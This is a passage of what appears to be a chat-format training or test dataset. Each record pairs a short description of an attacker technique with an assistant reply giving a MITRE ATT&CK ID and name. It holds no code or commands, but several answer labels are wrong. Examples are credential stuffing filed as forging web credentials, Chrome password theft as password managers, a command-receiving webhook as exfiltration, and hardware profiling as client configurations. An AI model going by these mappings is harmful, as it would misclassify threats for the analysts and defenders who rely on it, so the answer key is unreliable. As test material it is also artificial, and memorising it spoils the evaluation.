                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involves adding an unauthorized device to the user’s account, which the system treats as a legitimate authentication factor."
            },
            {
                "role": "assistant",
                "content": "T1098.005 - Account Manipulation: Device Registration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor compromises a domain registrar’s DNS records to point to a malicious IP address."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious update replaces the system's authentication DLL, allowing the attacker to log in with any password."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses WMI Event Subscription to execute a payload when a specific system event occurs."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a custom Python script with pyobjc to enumerate and read entries in the user's keychain."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware re-signs a payload using a compromised developer ID, causing Gatekeeper to treat the malicious file as trusted and allowing execution."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan uses a Microsoft Teams webhook to receive commands embedded in chat messages."
            },
            {
                "role": "assistant",
                "content": "T1567.004 - Exfiltration Over Web Service: Exfiltration Over Webhook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a rogue access point, the attacker eavesdrops on wireless traffic to collect authentication tokens."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cryptojacker unpacks a packed Java JAR file using a built‑in unpacker before starting its mining process."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker gains SYSTEM rights by altering the 'ObjectName' of a service registry entry to a malicious executable."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors transform C2 traffic into audio tones and broadcast it over a VoIP call to hide command communication."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware group encrypts network shares and displays a ransom note on login screens."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware updates the Windows security policy to disable password expiration, ensuring continued access for the attacker."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a large pool of compromised hosts and frequently updates DNS A records so that the victim’s traffic is directed to different IPs each request."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised node sets up a systemd timer that launches a container orchestrated job to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool queries the registry for installed applications and writes the list to a temporary file for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1592 - Gather Victim Host Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the ptrace interface, the threat actor injects code into a privileged daemon to elevate its privileges."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised installer writes a malicious script into a directory that is prioritized in the user’s script search path, causing it to be executed instead of the legitimate script."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After establishing initial access through spear phishing, an adversary conducts lateral movement using standard Windows utilities such as net.exe and reg.exe to interact with the registry of remote systems."
            },
            {
                "role": "assistant",
                "content": "T1021 - Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker uses a flooding technique to send a barrage of login attempts that overwhelm the authentication service, resulting in an application crash."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By queuing an APC on a suspended thread, the attacker injects and executes a backdoor within a critical Windows service."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker gains persistence by creating a hidden serverless function that is invoked on a schedule, evading detection."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group exploits a misconfiguration in the web server that permits the use of SSLv3, enabling attacks like POODLE to weaken the encryption."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy persistence mechanism involves adding a malicious Outlook form that auto‑executes on each Outlook session."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat modifies the launch daemon's ProgramArguments to point to a Trojan executable for execution."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious DLL was placed in the SYSVOL share, and the group policy was modified to reference this DLL as a startup script for all domain‑joined computers."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a new local user account with administrative privileges on the compromised Windows machine."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary modifies the registry to turn off security monitoring tools."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers compromise a legitimate software update mechanism to distribute a backdoor, thereby obtaining new capabilities without detection."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised insider runs a script that parses Brave browser's local storage files to retrieve saved website passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through the use of a credential stuffing tool, the attacker reuses previously exposed username/password pairs to forge valid logins on the target web application."
            },
            {
                "role": "assistant",
                "content": "T1606 - Forge Web Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker crafts malicious SAML assertions with elevated privileges to infiltrate the target's SaaS services."
            },
            {
                "role": "assistant",
                "content": "T1606.002 - Forge Web Credentials: SAML Tokens"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor posts a seemingly innocent .ico file on a website; when a user downloads and opens the icon, it exploits a vulnerability to run a script that installs crypto‑miner software."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a compromised third‑party VPN service to tunnel malicious traffic into the target network, bypassing perimeter defenses."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor establishes a covert channel by encapsulating its communications inside legitimate Bluetooth Low Energy packets to move laterally across devices."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary creates a new local user account on the compromised host to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code enumerates the device's hardware identifiers, such as CPU model and GPU, to profile the victim."
            },
            {
                "role": "assistant",
                "content": "T1592.004 - Gather Victim Host Information: Client Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary queried the target's SNMP service and performed an MIB dump to extract network configuration data."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a misconfigured SAML identity provider, the group manipulated authentication assertions to gain access to cloud resources."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary accesses a closed-source ransomware tracking feed to learn about recent attacks on similar organizations."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involves launching mshta.exe with the /c flag to execute VBScript code that modifies registry keys for persistence."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses an encrypted channel built on asymmetric cryptography to avoid deep packet inspection."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses low-level firmware manipulation techniques to insert a persistent backdoor that runs during the system's initialization phase, prior to OS launch."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors deliver a malicious .js payload through a phishing email attachment that is executed by the victim's Node.js runtime to download additional malware."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a vulnerable driver to gain low‑level access to the webcam hardware and continuously records video streams."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group applies gzip compression followed by Base64 encoding to exfiltrated logs."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a scheduled task to open a malicious RTF file, triggering a macro that runs at Office application startup."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised service account was used to issue a DCSync replication request, pulling credential data from the domain controller."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker runs a container image build process on the compromised server to embed a remote access trojan."
            },
            {
                "role": "assistant",
                "content": "T1612 - Build Image on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker compromises a system by exploiting a vulnerable service and then escalates their privileges using a local privilege escalation exploit."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By dumping the SECURITY hive, the hacker extracts cached domain credentials and performs a Pass the Hash attack against a privileged account."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder runs the nltest /domain_trusts command to discover external domain trust relationships."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Network traffic is hijacked after the adversary floods the LAN with ARP reply packets that overwrite legitimate entries."
            },
            {
                "role": "assistant",
                "content": "T1557.002 - Adversary-in-the-Middle: ARP Cache Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker extracts Kerberos tickets from LSASS and crafts forged tickets to impersonate legitimate accounts."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker runs PowerShell Get-ADGroup to retrieve domain group objects for reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers manipulate the certificate issuance workflow to have a code signing certificate issued for a non‑existent company."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is added to the bootloader of routers during the supply chain process, allowing remote command execution after deployment."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a trojanized ICO file as a disguised executable; opening the icon in the file explorer runs a malicious macro."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors acquire code signing certificates via social engineering of certificate authorities."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a custom loader that masks the process and ignores interrupt requests, ensuring the malware persists despite kill attempts."
            },
            {
                "role": "assistant",
                "content": "T1564.011 - Hide Artifacts: Ignore Process Interrupts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code opens a symmetric encryption tunnel using RC4 to exfiltrate files to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor steals a user's TGT from the LSASS process and then creates a Kerberos service ticket to impersonate the user."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team simulates creating a new IAM user in AWS to test detection of account creation events."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the Registry to include encrypted credentials in the SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer key."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code replaces the random number generator with one that produces low‑entropy keys, thus reducing the effective key space."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor leveraged stolen API keys to provision extra Kubernetes nodes in the target's cloud environment for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses PowerShell's -EncodedCommand flag to decode a base64 payload retrieved from a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By employing a valid local user account, the intruder bypasses multi‑factor authentication and escalates privileges."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group modifies the homepage of the public website with defacement messages."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary hijacks a content management system theme and injects a script that exfiltrates user credentials via an outbound request."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor encapsulates malicious commands inside DNS request payloads to communicate with their C2 server, effectively tunneling traffic over DNS."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor creates a new systemd service that runs a reverse shell script each time the system starts."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware transforms its payload into a PNG image using steganography to hide it."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses a low-level disk wiping tool to overwrite the disk’s first 1 GB with random data, effectively destroying the partition and file system metadata."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary tools scrape the user's desktop resolution, DPI settings, and display adapter model to craft UI‑based attacks."
            },
            {
                "role": "assistant",
                "content": "T1592.004 - Gather Victim Host Information: Client Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs a credential dumping module that targets the Chrome password SQLite database."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
